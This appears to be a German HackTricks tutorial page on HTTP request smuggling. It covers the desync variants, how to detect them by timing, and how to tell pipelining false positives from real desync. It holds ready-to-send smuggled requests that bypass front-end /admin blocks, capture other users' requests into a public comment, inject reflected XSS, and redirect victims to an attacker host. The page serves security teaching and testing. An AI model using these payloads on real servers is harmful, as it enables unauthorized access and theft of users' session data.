HTTP Request Smuggling / HTTP Desync Attack

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Was ist

Diese Schwachstelle tritt auf, wenn eine Desyncronization zwischen front-end proxies und dem back-end-Server es einem attacker ermöglicht, eine HTTP-request zu senden, die von den front-end-Proxies (load balance/reverse-proxy) als eine einzelne request und vom back-end-Server als 2 requests interpreted wird.
Dadurch kann ein Benutzer die nächste request, die nach seiner am back-end-Server ankommt, modifyen.

Theory

RFC Specification (2161)

Wenn eine message sowohl ein Transfer-Encoding-Headerfeld als auch ein Content-Length-Headerfeld enthält, MUSS das letztere ignoriert werden.

Content-Length

Der Content-Length-Entity-Header gibt die Größe des Entity-Body in bytes an, die an den Empfänger gesendet werden.

Transfer-Encoding: chunked

Der Transfer-Encoding-Header spezifiziert die Form der encoding, die verwendet wird, um den Payload-Body sicher an den Benutzer zu übertragen.
Chunked bedeutet, dass große Daten in einer Reihe von chunks gesendet werden

Reality

Das Front-End (ein load-balance / Reverse Proxy) processt den content-length- oder den transfer-encoding-Header, und der Back-end-Server processt den anderen, wodurch eine Desyncronization zwischen den 2 Systemen entsteht.
Das kann sehr kritisch sein, da ein attacker in der Lage sein wird, eine request an den Reverse Proxy zu senden, die vom back-end-Server interpreted wird als 2 unterschiedliche requests. Die danger dieser Technik liegt darin, dass der back-end-Server die 2nd request injected so interpreten wird, als wäre sie vom nächsten client gekommen, und die echte request dieses clients Teil der injected request sein wird.

Particularities

Denk daran, dass in HTTP ein new line character aus 2 bytes besteht:

  • Content-Length: Dieser Header verwendet eine decimal number, um die number der bytes des body der request anzugeben. Es wird erwartet, dass der Body mit dem letzten character endet, ein new line wird am Ende der request nicht benötigt.
  • Transfer-Encoding: Dieser Header verwendet im body eine hexadecimal number, um die number der bytes des next chunk anzugeben. Der chunk muss mit einem new line enden, aber dieser new line wird von der Längenangabe nicht mitgezählt. Diese Übertragungsmethode muss mit einem chunk der Größe 0 gefolgt von 2 new lines enden: 0
  • Connection: Nach meiner Erfahrung wird empfohlen, bei der ersten request von request Smuggling Connection: keep-alive zu verwenden.

Visible - Hidden

Das Hauptproble bei http/1.1 ist, dass alle requests im selben TCP socket laufen. Wenn also zwischen 2 Systemen, die requests empfangen, eine Diskrepanz gefunden wird, ist es möglich, eine request zu senden, die vom finalen backend (oder sogar von Zwischen-Systemen) als 2 verschiedene requests (oder mehr) behandelt wird.

Dieser Blogbeitrag schlägt neue Wege vor, Desync attacks auf ein System zu erkennen, die nicht von WAFs markiert werden. Dafür werden die Visible-vs-Hidden-Verhaltensweisen vorgestellt. Das Ziel ist hier, Diskrepanzen in der repsonse zu finden, mit Techniken, die desyncs verursachen könnten, ohne tatsächlich etwas auszunutzen.

Wenn man zum Beispiel eine request mit dem normalen host header und einem “ host“-Header sendet und das backend sich über diese request beschwert (vielleicht weil der Wert von “ host“ falsch ist), kann das bedeuten, dass das front-end den “ host“-Header nicht gesehen hat, während das finale backend ihn verwendet hat, was sehr wahrscheinlich auf eine Desync zwischen front-end und backend hinweist.

Das wäre eine Hidden-Visible-Diskrepanz.

Wenn das front-end den “ host“-Header berücksichtigt hätte, das front-end aber nicht, könnte das eine Visible-Hidden-Situation gewesen sein.

So konnte zum Beispiel Desyncs zwischen AWS ALB als front-end und IIS als backend entdeckt werden. Das lag daran, dass bei “Host: foo/bar” das ALB 400, Server; awselb/2.0 zurückgab, bei “Host : foo/bar” jedoch 400, Server: Microsoft-HTTPAPI/2.0, was zeigte, dass die response vom backend kam. Das ist eine Hidden-Vissible (H-V)-Situation.

Beachte, dass diese Situation in AWS nicht behoben ist, aber verhindert werden kann, indem routing.http.drop_invalid_header_fields.enabled und routing.http.desync_mitigation_mode = strictest gesetzt werden.

Basic Examples

Tip

Wenn du das mit Burp Suite ausnutzen willst, deaktiviere im repeater Update Content-Length und Normalize HTTP/1 line endings, weil einige gadgets newlines, carriage returns und malformed content-lengths ausnutzen.

HTTP request smuggling attacks werden erzeugt, indem mehrdeutige requests gesendet werden, die Diskrepanzen in der Art ausnutzen, wie front-end- und back-end-Server die Content-Length- (CL) und Transfer-Encoding- (TE) Header interpretieren. Diese attacks können in verschiedenen Formen auftreten, hauptsächlich als CL.TE, TE.CL und TE.TE. Jeder Typ steht für eine einzigartige Kombination davon, wie front-end- und back-end-Server diesen Headern Priorität geben. Die Schwachstellen entstehen dadurch, dass die Server dieselbe request auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führt.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

Zur vorherigen Tabelle solltest du die TE.0 technique hinzufügen, ähnlich wie die CL.0 technique, aber mit Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Verarbeitet die request basierend auf dem Content-Length-Header.

  • Back-End (TE): Verarbeitet die request basierend auf dem Transfer-Encoding-Header.

  • Attack Scenario:

  • Der attacker sendet eine request, bei der der Wert des Content-Length-Headers nicht zur tatsächlichen content length passt.

  • Der front-end-Server leitet die gesamte request basierend auf dem Content-Length-Wert an den back-end-Server weiter.

  • Der back-end-Server verarbeitet die request aufgrund des Transfer-Encoding: chunked-Headers als chunked und interpretiert die verbleibenden Daten als separate, nachfolgende request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Verarbeitet die request basierend auf dem Transfer-Encoding-Header.

  • Back-End (CL): Verarbeitet die request basierend auf dem Content-Length-Header.

  • Attack Scenario:

  • Der attacker sendet eine chunked request, bei der die chunk size (7b) und die tatsächliche content length (Content-Length: 4) nicht zusammenpassen.

  • Der front-end-Server leitet unter Beachtung von Transfer-Encoding die gesamte request an den back-end-Server weiter.

  • Der back-end-Server verarbeitet unter Beachtung von Content-Length nur den initialen Teil der request (7b bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden request zurück.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Beide unterstützen Transfer-Encoding, aber einer kann durch obfuscation dazu gebracht werden, es zu ignorieren.

  • Attack Scenario:

  • Der attacker sendet eine request mit obfuszierten Transfer-Encoding-Headern.

  • Je nachdem, welcher Server (front-end oder back-end) die obfuscation nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.

  • Der nicht verarbeitete Teil der request, so wie ihn einer der Server sieht, wird Teil einer nachfolgenden request und führt so zum smuggling.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Beide Server verarbeiten die request ausschließlich basierend auf dem Content-Length-Header.
  • Dieses Szenario führt typischerweise nicht zu smuggling, da beide Server die request length gleich interpretieren.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Bezieht sich auf Szenarien, in denen der Content-Length-Header vorhanden ist und einen von null verschiedenen Wert hat, was anzeigt, dass der request body Inhalt hat. Der back-end-Server ignoriert den Content-Length-Header (der als 0 behandelt wird), während der front-end ihn parsed.
  • Es ist entscheidend, das für das Verständnis und die Erstellung von smuggling attacks zu kennen, da es beeinflusst, wie Server das Ende einer request bestimmen.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Wie die vorherige, aber mit TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Szenario

In einer 0.CL-Situation wird eine Request mit einem Content-Length wie folgt gesendet:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Und das Front-end berücksichtigt Content-Length nicht, also sendet es nur die erste Anfrage an das Backend (bis zur 7 im Beispiel). Das Backend sieht jedoch Content-Length und wartet auf einen Body, der nie ankommt, weil das Front-end bereits auf die Antwort wartet.

Wenn es jedoch eine Anfrage gibt, die an das Backend gesendet werden kann und auf die geantwortet wird, bevor der Body der Anfrage empfangen wurde, tritt dieser Deadlock nicht auf. In IIS passiert das zum Beispiel beim Senden von Anfragen an verbotene Wörter wie /con (siehe die documentation); auf diese Weise wird die erste Anfrage direkt beantwortet und die zweite requets enthält dann die Anfrage des Opfers, etwa so:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Dies ist nützlich, um ein desync zu verursachen, aber bis jetzt hat es keine Auswirkungen.

Der Post bietet dafür jedoch eine Lösung, indem er einen 0.CL-Angriff in CL.0 mit einem double desync umwandelt.

Den Webserver zum Absturz bringen

Diese Technik ist auch in Szenarien nützlich, in denen es möglich ist, einen Webserver beim Lesen der initialen HTTP-Daten zu brechen, ohne die Verbindung zu schließen. Auf diese Weise wird der Body der HTTP-Request als die nächste HTTP-Request betrachtet.

Zum Beispiel, wie in diesem writeup erklärt, war es in Werkzeug möglich, einige Unicode-Zeichen zu senden, wodurch der Server abbricht. Wenn die HTTP-Verbindung jedoch mit dem Header Connection: keep-alive erstellt wurde, wird der Body der Request nicht gelesen und die Verbindung bleibt offen, sodass der Body der Request als die nächste HTTP-Request behandelt wird.

Erzwingen über hop-by-hop headers

Durch das Missbrauchen von hop-by-hop headers könntest du dem proxy mitteilen, den Header Content-Length oder Transfer-Encoding zu löschen, sodass ein HTTP request smuggling ausnutzbar ist.

Connection: Content-Length

Für weitere Informationen über hop-by-hop headers besuche:

hop-by-hop headers

HTTP Request Smuggling finden

Das Identifizieren von HTTP Request Smuggling vulnerabilities kann oft mit Timing-Techniken erreicht werden, die darauf beruhen zu beobachten, wie lange der Server braucht, um auf manipulierte Requests zu antworten. Diese Techniken sind besonders nützlich, um CL.TE- und TE.CL-vulnerabilities zu erkennen. Neben diesen Methoden gibt es weitere Strategien und Tools, die verwendet werden können, um solche vulnerabilities zu finden:

CL.TE Vulnerabilities mit Timing-Techniken finden

  • Methode:

  • Sende einen Request, der, falls die Anwendung vulnerable ist, den Back-end-Server dazu bringt, auf zusätzliche Daten zu warten.

  • Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Beobachtung:

  • Der Front-end-Server verarbeitet den Request basierend auf Content-Length und schneidet die Nachricht vorzeitig ab.

  • Der Back-end-Server, der eine chunked message erwartet, wartet auf den nächsten Chunk, der nie ankommt, was eine Verzögerung verursacht.

  • Indikatoren:

  • Timeouts oder lange Verzögerungen in der Antwort.

  • Erhalt eines 400 Bad Request-Fehlers vom Back-end-Server, manchmal mit detaillierten Serverinformationen.

TE.CL Vulnerabilities mit Timing-Techniken finden

  • Methode:

  • Sende einen Request, der, falls die Anwendung vulnerable ist, den Back-end-Server dazu bringt, auf zusätzliche Daten zu warten.

  • Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Beobachtung:
  • Der Front-end-Server verarbeitet den Request basierend auf Transfer-Encoding und leitet die gesamte Nachricht weiter.
  • Der Back-end-Server, der eine Nachricht basierend auf Content-Length erwartet, wartet auf zusätzliche Daten, die nie ankommen, was eine Verzögerung verursacht.

Andere Methoden zum Finden von vulnerabilities

  • Differential Response Analysis:
  • Sende leicht variierte Versionen eines Requests und beobachte, ob sich die Serverantworten unerwartet unterscheiden, was auf eine Parsing-Diskrepanz hinweist.
  • Verwendung automatisierter Tools:
  • Tools wie die Burp Suite-Extension ‘HTTP Request Smuggler’ können diese vulnerabilities automatisch testen, indem sie verschiedene Formen mehrdeutiger Requests senden und die Antworten analysieren.
  • Content-Length Variance Tests:
  • Sende Requests mit unterschiedlichen Content-Length-Werten, die nicht zur tatsächlichen Content-Length passen, und beobachte, wie der Server solche Mismatches behandelt.
  • Transfer-Encoding Variance Tests:
  • Sende Requests mit obfuskierten oder fehlerhaft formatierten Transfer-Encoding-Headers und überwache, wie unterschiedlich Front-end- und Back-end-Server auf solche Manipulationen reagieren.

Der Expect: 100-continue-Header

Prüfe, wie dieser Header beim Ausnutzen eines http desync helfen kann in:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Nachdem die Wirksamkeit von Timing-Techniken bestätigt wurde, ist es entscheidend zu verifizieren, ob Client-Requests manipuliert werden können. Eine einfache Methode ist es, zu versuchen, deine Requests zu poisonen; zum Beispiel, indem ein Request an / eine 404-Antwort auslöst. Die zuvor in Basic Examples besprochenen CL.TE- und TE.CL-Beispiele zeigen, wie man einen Client-Request poisonen kann, um eine 404-Antwort hervorzurufen, obwohl der Client eigentlich auf eine andere Ressource zugreifen wollte.

Wichtige Überlegungen

Beim Testen auf Request-Smuggling-vulnerabilities durch das Beeinflussen anderer Requests solltest du Folgendes beachten:

  • Getrennte Netzwerkverbindungen: Die “attack” und “normal” Requests sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide bestätigt nicht das Vorhandensein der vulnerability.
  • Konsistente URL und Parameter: Verwende möglichst identische URLs und Parameternamen für beide Requests. Moderne Anwendungen routen Requests oft basierend auf URL und Parametern an bestimmte Back-end-Server. Übereinstimmende Werte erhöhen die Wahrscheinlichkeit, dass beide Requests vom selben Server verarbeitet werden, was eine Voraussetzung für einen erfolgreichen Angriff ist.
  • Timing und Racing Conditions: Der “normal” Request, der Interferenzen durch den “attack” Request erkennen soll, konkurriert mit anderen gleichzeitigen Application-Requests. Sende den “normal” Request daher unmittelbar nach dem “attack” Request. Bei stark ausgelasteten Anwendungen können mehrere Versuche nötig sein, um die vulnerability eindeutig zu bestätigen.
  • Herausforderungen durch Load Balancing: Front-end-Server, die als load balancer fungieren, können Requests auf verschiedene Back-end-Systeme verteilen. Wenn der “attack”- und der “normal”-Request auf unterschiedlichen Systemen landen, schlägt der Angriff fehl. Dieser Load-Balancing-Aspekt kann mehrere Versuche erforderlich machen, um eine vulnerability zu bestätigen.
  • Unbeabsichtigte Auswirkungen auf Nutzer: Wenn dein Angriff unbeabsichtigt den Request eines anderen Nutzers beeinflusst (nicht den “normal”-Request, den du zur Erkennung gesendet hast), bedeutet das, dass dein Angriff einen anderen Application-Nutzer beeinflusst hat. Kontinuierliches Testen könnte andere Nutzer stören, was ein vorsichtiges Vorgehen erfordert.

HTTP/1.1 pipelining artifacts vs echtes Request Smuggling unterscheiden

Connection reuse (keep-alive) und pipelining können in Testing-Tools, die mehrere Requests auf demselben Socket senden, leicht den Eindruck von “smuggling” erzeugen. Lerne, harmlose client-side artifacts von echtem server-side desync zu unterscheiden.

Warum pipelining klassische false positives erzeugt

HTTP/1.1 verwendet eine einzelne TCP/TLS-Connection erneut und hängt Requests und Responses auf demselben Stream aneinander. Beim Pipelining sendet der Client mehrere Requests direkt hintereinander und verlässt sich auf Responses in derselben Reihenfolge. Ein häufiger false-positive ist es, ein fehlerhaftes CL.0-artiges Payload zweimal über dieselbe Connection erneut zu senden:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Antworten können wie folgt aussehen:

HTTP/1.1 200 OK
Content-Type: text/html


HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Wenn der Server das fehlerhafte Content_Length ignoriert hat, gibt es kein FE↔BE desync. Bei reuse hat dein Client tatsächlich diesen Byte-Stream gesendet, den der Server als zwei unabhängige Requests geparst hat:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. Du hast nur deinen Client vom Server-Framing desynchronisiert.

Tip

Burp-Module, die von Reuse/Pipelining abhängen: Turbo Intruder mit requestsPerConnection>1, Intruder mit “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” oder “Enable connection reuse”.

Litmus-Tests: pipelining oder echtes desync?

  1. Reuse deaktivieren und erneut testen
  • In Burp Intruder/Repeater HTTP/1 reuse ausschalten und “Send group in sequence” vermeiden.
  • In Turbo Intruder requestsPerConnection=1 und pipeline=False setzen.
  • Wenn das Verhalten verschwindet, war es wahrscheinlich client-seitiges pipelining, außer du hast es mit connection-locked/stateful Targets oder client-side desync zu tun.
  1. HTTP/2 nested-response check
  • Sende eine HTTP/2-Anfrage. Wenn der Response-Body eine vollständige verschachtelte HTTP/1-Response enthält, hast du einen Backend-Parsing-/desync-Bug bewiesen statt eines reinen Client-Artefakts.
  1. Partial-requests-Probe für connection-locked Front-Ends
  • Manche FEs reuse die Upstream-BE-Connection nur, wenn der Client seine auch reused hat. Nutze partial-requests, um FE-Verhalten zu erkennen, das Client-Reuse spiegelt.
  • Siehe PortSwigger “Browser‑Powered Desync Attacks” für die connection-locked Technik.
  1. State-Probes
  • Achte auf Unterschiede zwischen erster und folgenden Requests auf derselben TCP-Connection (first-request routing/validation).
  • Burp “HTTP Request Smuggler” enthält eine connection-state-Probe, die das automatisiert.
  1. Wire visualisieren
  • Nutze die Burp-Erweiterung “HTTP Hacker”, um Concatenation und Message-Framing direkt zu inspizieren, während du mit Reuse und partial requests experimentierst.

Connection‑locked request smuggling (reuse-required)

Manche Front-Ends reuse die Upstream-Connection nur, wenn der Client seine reused hat. Echtes smuggling existiert, ist aber an client-seitiges Reuse gebunden. Um das zu unterscheiden und Impact zu beweisen:

  • Beweise den serverseitigen Bug
  • Nutze den HTTP/2 nested-response check, oder
  • Nutze partial-requests, um zu zeigen, dass das FE Upstream nur reused, wenn der Client das tut.
  • Zeige echten Impact, selbst wenn direkter Cross-User-Socket-Missbrauch blockiert ist:
  • Cache poisoning: poison gemeinsame Caches über das desync, sodass Responses andere Nutzer beeinflussen.
  • Internal header disclosure: reflektiere vom FE injizierte Header (z. B. auth-/trust-Header) und pivot zu auth bypass.
  • FE-Kontrollen umgehen: smuggle eingeschränkte Pfade/Methoden am Front-End vorbei.
  • Host-header abuse: kombiniere das mit Host-Routing-Quirks, um zu internen vhosts zu pivotieren.
  • Operator workflow
  • Reproduziere mit kontrolliertem Reuse (Turbo Intruder requestsPerConnection=2 oder Burp Repeater Tab-Gruppe → “Send group in sequence (single connection)”).
  • Chaine dann zu Cache-/Header-Leak-/Control-Bypass-Primitiven und demonstriere Cross-User- oder Authorization-Impact.

Siehe auch connection-state attacks, die eng verwandt sind, aber technisch kein smuggling sind:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Wenn du browser-powered/client-side desync targetest, muss die bösartige Anfrage von einem Browser cross-origin sendbar sein. Header-Obfuscation-Tricks funktionieren dann nicht. Konzentriere dich auf Primitive, die über navigation/fetch erreichbar sind, und pivot dann zu cache poisoning, header disclosure oder front-end control bypass, wo Downstream-Komponenten Responses reflektieren oder cachen.

Für Hintergrund und End-to-End-Workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): zeigt Low-Level-HTTP-Verhalten und Socket-Concatenation.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: präzise Kontrolle über Connection-Reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: enthält eine connection-state-Probe, um first-request routing/validation zu erkennen.

Note

Behandle reuse-only effects als Nicht-Probleme, außer du kannst serverseitiges desync beweisen und konkreten Impact anhängen (poisoned cache artifact, geleakter internal header mit privilege bypass, umgangene FE-Kontrolle, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Manchmal erzwingen Front-End-Proxies Sicherheitsmaßnahmen und prüfen eingehende Requests genau. Diese Maßnahmen können jedoch durch das Ausnutzen von HTTP Request Smuggling umgangen werden, wodurch unautorisierter Zugriff auf eingeschränkte Endpunkte möglich wird. Zum Beispiel kann der Zugriff auf /admin von außen verboten sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Trotzdem kann dieser Proxy eingebettete Requests innerhalb eines gesmuggelten HTTP-Requests übersehen und so eine Lücke zum Umgehen dieser Einschränkungen lassen.

Betrachte die folgenden Beispiele, die zeigen, wie HTTP Request Smuggling genutzt werden kann, um Front-End-Sicherheitskontrollen zu umgehen, insbesondere mit Ziel auf den /admin-Pfad, der typischerweise vom Front-End-Proxy geschützt wird:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Beim CL.TE-Angriff wird der Content-Length-Header für die initiale Anfrage genutzt, während die eingebettete Folgeanfrage den Transfer-Encoding: chunked-Header verwendet. Der Front-end-Proxy verarbeitet die initiale POST-Anfrage, prüft jedoch die eingebettete GET /admin-Anfrage nicht, wodurch unbefugter Zugriff auf den Pfad /admin möglich wird.

TE.CL Beispiel

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Umgekehrt verwendet beim TE.CL-Angriff die anfängliche POST-Request Transfer-Encoding: chunked, und die nachfolgende eingebettete Request wird basierend auf dem Content-Length-Header verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der front-end proxy die eingeschmuggelte GET /admin-Request und gewährt dadurch unbeabsichtigt Zugriff auf den eingeschränkten /admin-Pfad.

Front-end request rewriting aufdecken

Applications verwenden oft einen front-end server, um eingehende Requests zu verändern, bevor sie an den back-end server weitergegeben werden. Eine typische Änderung besteht darin, Headers wie X-Forwarded-For: <IP of the client> hinzuzufügen, um die IP des Clients an das back-end weiterzuleiten. Das Verständnis dieser Änderungen kann entscheidend sein, da es Wege zum bypass protections aufdecken oder versteckte Informationen oder endpoints enthüllen kann.

Um zu untersuchen, wie ein proxy eine Request verändert, suche einen POST-Parameter, den das back-end in der response zurückgibt. Erstelle dann eine Request, bei der du diesen Parameter zuletzt verwendest, ähnlich wie im Folgenden:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In dieser Struktur werden nachfolgende Request-Komponenten nach search= angehängt, welches der Parameter ist, der in der Response reflektiert wird. Diese Reflection legt die Header der nachfolgenden Request offen.

Es ist wichtig, den Content-Length-Header der verschachtelten Request an die tatsächliche Content-Länge anzupassen. Es ist ratsam, mit einem kleinen Wert zu beginnen und ihn schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneidet, während ein zu hoher Wert dazu führen kann, dass die Request fehlschlägt.

Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die Request sollte mit search=\r\n0 enden. Unabhängig von den Newline-Zeichen werden die Werte an den search-Parameter angehängt.

Diese Methode dient vor allem dazu, die von dem Front-end-Proxy vorgenommenen Request-Modifikationen zu verstehen, also im Wesentlichen eine selbstgesteuerte Untersuchung durchzuführen.

Capturing other users’ requests

Es ist möglich, die Requests des nächsten Nutzers zu erfassen, indem bei einer POST-Operation eine bestimmte Request als Wert eines Parameters angehängt wird. So lässt sich das umsetzen:

Indem du die folgende Request als Wert eines Parameters anhängst, kannst du die nachfolgende Client-Request speichern:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In diesem Szenario soll der comment parameter den Inhalt innerhalb des Kommentarbereichs eines Posts auf einer öffentlich zugänglichen Seite speichern. Folglich wird der Inhalt der anschließenden Request als Kommentar erscheinen.

Allerdings hat diese Technik Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parameter-Trennzeichen, das in der gesmuggelten Request verwendet wird. Bei URL-encodierten Formularübermittlungen ist dieses Trennzeichen das &-Zeichen. Das bedeutet, dass der erfasste Inhalt aus der Request des Opfer-Users beim ersten & stoppt, das möglicherweise sogar Teil der Query String ist.

Zusätzlich ist es erwähnenswert, dass dieser Ansatz auch mit einer TE.CL vulnerability möglich ist. In solchen Fällen sollte die Request mit search=\r\n0 enden. Unabhängig von Newline-Zeichen werden die Werte an den search parameter angehängt.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling kann genutzt werden, um Webpages auszunutzen, die anfällig für Reflected XSS sind, und bietet dabei erhebliche Vorteile:

  • Interaktion mit den target users ist nicht erforderlich.
  • Ermöglicht die Ausnutzung von XSS in Teilen der Request, die normalerweise nicht erreichbar sind, wie HTTP request headers.

In Szenarien, in denen eine Website über den User-Agent header für Reflected XSS anfällig ist, zeigt das folgende payload, wie sich diese vulnerability ausnutzen lässt:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Dieses Payload ist so strukturiert, dass es die Schwachstelle ausnutzt, indem:

  1. Eine POST-Request initiiert wird, scheinbar typisch, mit einem Transfer-Encoding: chunked-Header, um den Start des Smuggling anzuzeigen.
  2. Danach ein 0 folgt, das das Ende des chunked Message Bodies markiert.
  3. Anschließend wird eine gesmuggelte GET-Request eingeführt, wobei der User-Agent-Header mit einem Script injiziert wird, <script>alert(1)</script>, wodurch das XSS ausgelöst wird, wenn der Server diese nachfolgende Request verarbeitet.

Durch die Manipulation des User-Agent via Smuggling umgeht das Payload normale Request-Beschränkungen und nutzt so die Reflected XSS Schwachstelle auf eine nicht-standardmäßige, aber effektive Weise aus.

HTTP/0.9

Caution

Falls der User-Inhalt in einer Response mit einem Content-type wie text/plain reflektiert wird, verhindert das die Ausführung des XSS. Wenn der Server HTTP/0.9 unterstützt, könnte es möglich sein, dies zu umgehen!

Die Version HTTP/0.9 war früher als 1.0 und verwendet nur GET-Verben und antwortet nicht mit Headers, sondern nur mit dem Body.

In diesem writeup wurde dies mit einem request smuggling und einem verwundbaren Endpoint, der mit der Eingabe des Users antwortet, ausgenutzt, um eine Request mit HTTP/0.9 zu smugglen. Der Parameter, der in der Response reflektiert wurde, enthielt eine Fake HTTP/1.1-Response (mit Headers und Body), sodass die Response gültigen ausführbaren JS-Code mit einem Content-Type von text/html enthält.

Exploiting On-site Redirects with HTTP Request Smuggling

Applications leiten oft von einer URL zu einer anderen um, indem sie den Hostnamen aus dem Host-Header in der Redirect-URL verwenden. Das ist bei Webservern wie Apache und IIS üblich. Wenn man zum Beispiel einen Ordner ohne abschließenden Slash anfragt, führt das zu einer Redirect, um den Slash hinzuzufügen:

GET /home HTTP/1.1
Host: normal-website.com

Ergebnisse in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Obwohl dieses Verhalten scheinbar harmlos ist, kann es mithilfe von HTTP request smuggling manipuliert werden, um Benutzer auf eine externe Site umzuleiten. Zum Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

